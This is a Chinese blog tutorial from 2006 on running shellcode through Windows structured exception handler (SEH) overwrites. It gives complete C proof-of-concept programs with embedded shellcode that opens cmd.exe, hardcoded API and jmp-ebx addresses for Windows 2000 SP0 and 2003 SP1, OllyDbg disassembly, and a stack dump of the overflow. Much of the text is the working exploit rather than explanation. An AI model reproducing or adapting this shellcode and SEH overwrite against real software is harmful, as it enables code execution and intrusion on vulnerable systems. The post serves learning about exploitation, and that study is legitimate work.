首页 电脑 电脑学堂 查看内容

利用异常处理执行shellcode实例

2006-6-28 00:32 629 0

摘要: 在《Q版缓冲区溢出教程》中有一个例子,如下:#include <stdio.h>#include <string.h>char name[] = "x41x41x41x...
关键词: nbsp 地址 异常 strcpyFl 处理 41 push 45 ebp dword

在《Q版缓冲区溢出教程》中有一个例子,如下:#include <stdio.h>#include <string.h>char name[] = "\x41\x41\x41\x41"       //name[0] - name[3]   "\x41\x41\x41\x41"       //name[4] - name[7]  "\x41\x41\x41\x41"       //ebp"\x12\x45\xfa\x7f"         //通用jmp esp地址: 7ffa4512/* 以下shellcode将开启一个cmd. */ "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53""\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6""\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA""\x60\x1e\x80\x7c"  //2003 sp1上LoadLibraryA地址:0x7c801e60"\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0""\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8""\x83\xa0\xb8\x77"  //2003 sp1上system地址:0x77b8a083"\xFF\xD0";int main(){char output[8];int i;strcpy(output, name);for(i=0; i<8 && output[i]; i++){  printf("\\0x%x",output[i]);}printf("\n");return 0;}    这里它用的是用jmp esp覆盖返回点的方法,即原保存eip地址的地方被覆盖成了jmp esp,当执行retn时,相当于执行:pop eip,jmp eip。也就是会把jmp esp的地址赋给eip,然后eip就会去执行jmp esp,而由于pop eip时栈顶指针往下(即高址方向)移了一字节,刚好指向我们的shellcode地址,所以jmp esp就会执行到我们的shellcode了。     后来看了利用异常处理来执行shellcode的方法,很想找个机会实践实践,于是我对上面这个程序重新进行了分析,把原来jmp esp的溢出方式改成了jmp ebx方式,分析过程如下:    首先将char name[]的值赋的长一点(具体多长我心里也没数),使其覆盖异常处理入口,用debug模式编译出程序,然后用OllyDbg V1.10反汇编,代码如下:00401270 s>/$  55            push ebp00401271   |.  8BEC          mov ebp,esp00401273   |.  6A FF         push -100401275   |.  68 38014200   push strcpyFl.004201380040127A   |.  68 743F4000   push strcpyFl.00403F74           ;SE 句柄安装0040127F   |.  64:A1 0000000>mov eax,dword ptr fs:[0]         ;此时栈顶值即为异常处理函数地址,即ESP=0012FFB400401285   |.  50            push eax00401286   |.  64:8925 00000>mov dword ptr fs:[0],esp0040128D   |.  83C4 F0       add esp,-1000401290   |.  53            push ebx00401291   |.  56            push esi00401292   |.  57            push edi00401293   |.  8965 E8       mov dword ptr ss:[ebp-18],esp    为什么这里栈顶值就是异常处理入口呢?这里涉及到异常处理的一些原理,可以看看czy写的《利用SEH执行shellcode》,文章地址:http://elfhack.whitecell.org/chinesedocs/seh1.txt    他文章写的有些难度,像我等菜鸟估计也不好懂,这里我将我自已的理解写出来,大家可以参考一下。他文章中提到,fs:[0]指向一个_EXCEPTION_REGISTRATION结构(我理解就是指向异常处理入口),这个_EXCEPTION_REGISTRATION结构如下:struct _EXCEPTION_REGISTRATION{    前一个_EXCEPTION_REGISTRATION结构;    异常处理函数入口;}    每个_EXCEPTION_REGISTRATION结构包括两个指针,前一个指针指向前一个_EXCEPTION_REGISTRATION,以形成一个链(如果不懂什么叫链可以看一下c语言版的数据结构)。后一个指针指向的是异常处理函数的地址。    这里要提醒一点,异常处理入口和异常处理函数的地址是不同的,如下:struct _EXCEPTION_REGISTRATION                <--地址1,这里对应的就是异常处理函数地址-4,即0012FFB0{    前一个_EXCEPTION_REGISTRATION结构;  <--地址2,这里的值和地址1是一样的    异常处理函数入口;                                            <--地址3,这里对应的就是上面分析出来的0012FFB4}    异常处理入口指的是地址1,其实地址1和地址2的值是一样的,因为结构的地址其实就是结构中第一个成员的地点。    异常处理函数的地址(地址3) = 前一个_EXCEPTION_REGISTRATION结构(地址2) + 4,为什么是加4呢?因为地址2是指针,占4个字节。    前面说的fs:[0]指向一个_EXCEPTION_REGISTRATION结构,就是指fs:[0]指向地址1(也就是地址2),当发生异常的时候,会执行地址3指向的函数,我们要做的有两件事情,一是将地址1的值换成jmp 04,二是将地址3中的值换成jmp ebx。 jmp 04对应的值为:"04eb9090,所以也就是要将地1的值换成:04eb9090。而jmp ebx的通用地址是:0x7ffa1571,所以就是将地址3的值换成7ffa1571。    接下来我们要做的就是找到返回点的地址(其实jmp esp例子中已经找过了)。    继续跟踪,发现00401354处的call里执行的就是我们的代码,按F7跟进去。00401354   |.  E8 ACFCFFFF   call strcpyFl.00401005    这一句执行后,就会跳到下面:00401005   /$ /E9 06000000   jmp strcpyFl.004010100040100A   |  |CC            int30040100B   |  |CC            int30040100C   |  |CC            int30040100D   |  |CC            int30040100E   |  |CC            int30040100F   |  |CC            int300401010   |> \55            push ebp00401011   |.  8BEC          mov ebp,esp00401013   |.  83EC 4C       sub esp,4C00401016   |.  53            push ebx00401017   |.  56            push esi00401018   |.  57            push edi00401019   |.  8D7D B4       lea edi,dword ptr ss:[ebp-4C]0040101C   |.  B9 13000000   mov ecx,1300401021   |.  B8 CCCCCCCC   mov eax,CCCCCCCC00401026   |.  F3:AB         rep stos dword ptr es:[edi]00401028   |.  68 98334200   push strcpyFl.004233980040102D   |.  8D45 F8       lea eax,dword ptr ss:[ebp-8]00401030   |.  50            push eax00401031   |.  E8 0A010000   call strcpyFl.0040114000401036   |.  83C4 08       add esp,800401039   |.  C745 F4 00000>mov dword ptr ss:[ebp-C],000401040   |.  EB 09         jmp short strcpyFl.0040104B00401042   |>  8B4D F4       /mov ecx,dword ptr ss:[ebp-C]00401045   |.  83C1 01       |add ecx,100401048   |.  894D F4       |mov dword ptr ss:[ebp-C],ecx0040104B   |>  837D F4 08     cmp dword ptr ss:[ebp-C],80040104F   |.  7D 24         |jge short strcpyFl.0040107500401051   |.  8B55 F4       |mov edx,dword ptr ss:[ebp-C]00401054   |.  0FBE4415 F8   |movsx eax,byte ptr ss:[ebp+edx-8]00401059   |.  85C0          |test eax,eax0040105B   |.  74 18         |je short strcpyFl.004010750040105D   |.  8B4D F4       |mov ecx,dword ptr ss:[ebp-C]00401060   |.  0FBE540D F8   |movsx edx,byte ptr ss:[ebp+ecx-8]00401065   |.  52            |push edx                                ; /Arg200401066   |.  68 20004200   |push strcpyFl.00420020                  ; |Arg1 = 00420020 ASCII "\0x%x"0040106B   |.  E8 50000000   |call strcpyFl.004010C0                  ; \strcpyFl.004010C000401070   |.  83C4 08       |add esp,800401073   |.^ EB CD         \jmp short strcpyFl.0040104200401075   |>  68 1C004200   push strcpyFl.0042001C                   ; /Arg1 = 0042001C0040107A   |.  E8 41000000   call strcpyFl.004010C0                   ; \strcpyFl.004010C00040107F   |.  83C4 04       add esp,400401082   |.  33C0          xor eax,eax00401084   |.  5F            pop edi00401085   |.  5E            pop esi00401086   |.  5B            pop ebx00401087   |.  83C4 4C       add esp,4C0040108A   |.  3BEC          cmp ebp,esp0040108C   |.  E8 9F010000   call strcpyFl.0040123000401091   |.  8BE5          mov esp,ebp00401093   |.  5D            pop ebp00401094   \.  C3            retn          ;这里是返回点,此时ESP=0012FF84,    从上面分析可知,返回点地址为0012FF84,异常处理入口点为:0012FFB0,结合jmp esp例子,我们可以得到要覆盖的结果了:"\x41\x41\x41\x41"       //name[0] - name[3]   "\x41\x41\x41\x41"       //name[4] - name[7]  "\x41\x41\x41\x41"       //ebp"\x12\x45\xfa\x7f"         //通用jmp esp地址: 7ffa4512"\x41\x41\x41\x41"      //从这里开始覆盖40个字节长度,就能达到异常处理入口处了    |"\x41\x41\x41\x41"      //                                                                                                             |...                                   //                                                                                                       40字节"\x41\x41\x41\x41"      //                                                                                                             |"\x41\x41\x41\x41"      //                                                                                                             |"\x90\x90\xeb\x04"     //这里就是异常处理入口了,覆盖成:jmp 04"\x71\x15\xfa\x7f"        //这里是异常处理函数地址,覆盖成jmp ebx的通用地址:7ffa1571    从以上的shellcode也可以看出来,异常处理入口前面的字符长度为8+4+4+40=56字节。这前面的56字节我们可以用随意构造。最后成功溢出的代码如下:/** strcpyFlow.c* by:∮明天去要饭* http://blog.csdn.net/kgdiwss*/#include <stdio.h>#include <string.h>char name[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcd" //56个字节(前8字节为output[8]的长度,后48字节为溢出的长度)"\x90\x90\xeb\x04"    //jmp 04"\x71\x15\xfa\x7f"      //jmp ebx通用地址//以下shellcode将开启一个cmd. "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53""\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6""\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA""\x23\x80\xE7\x77"   //2000 sp0上LoadLibraryA地址:0x77E78023"\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0""\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8""\xAD\xAA\x01\x78"   //2000 sp0上system地址:0x7801AAAD"\xFF\xD0";int main(){char output[8];int i;strcpy(output, name);for(i=0; i<8 && output[i]; i++){    printf("\\0x%x",output[i]);}printf("\n");return 0;}    此程序运行到返回点时,堆栈中的数据如下:0012FF84   706F6E6D  <--返回点地址0012FF88   747372710012FF8C   787776750012FF90   42417A790012FF94   464544430012FF98   4A4948470012FF9C   4E4D4C4B0012FFA0   5251504F0012FFA4   565554530012FFA8   5A5958570012FFAC   646362610012FFB0   04EB9090  <--指针到下一个 SEH 记录(异常处理入口,这里被覆盖成了jmp 04)0012FFB4   7FFA1571  <--SE 句柄(异常处理函数地址这里被覆盖成了jmp ebx通用地址)0012FFB8   33EC8B55  <--shellcode开始处0012FFBC   505050C0   本例代码在windows2000 sp0上溢出通过。   虽然这只是一个小小的实验,但花了我好多天的时间, 本人在测试过程中遇到如下问题:    1。异常处理函数地址我找不到。    2。我将windwos2003上的shellcode用在了windows2000 sp0上,却忘了进行修改,后来跟踪时才发现其实已经执行我的shellcode了,只是由于system等函数地址不正确才会又提示异常。    所以说菜鸟每走一步都是很辛苦的,当我早上溢出成功的时候,真的是非常的高兴。同时再一次验证了:人要靠自已这句话。在测试过程中当然也问了不少朋友,无论他们有没有能提供帮助,都非常感谢他们。   另外就是本人初学溢出编程,所以文章中如果发现了错误,请告知本人,QQ:305725744,不胜感激。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部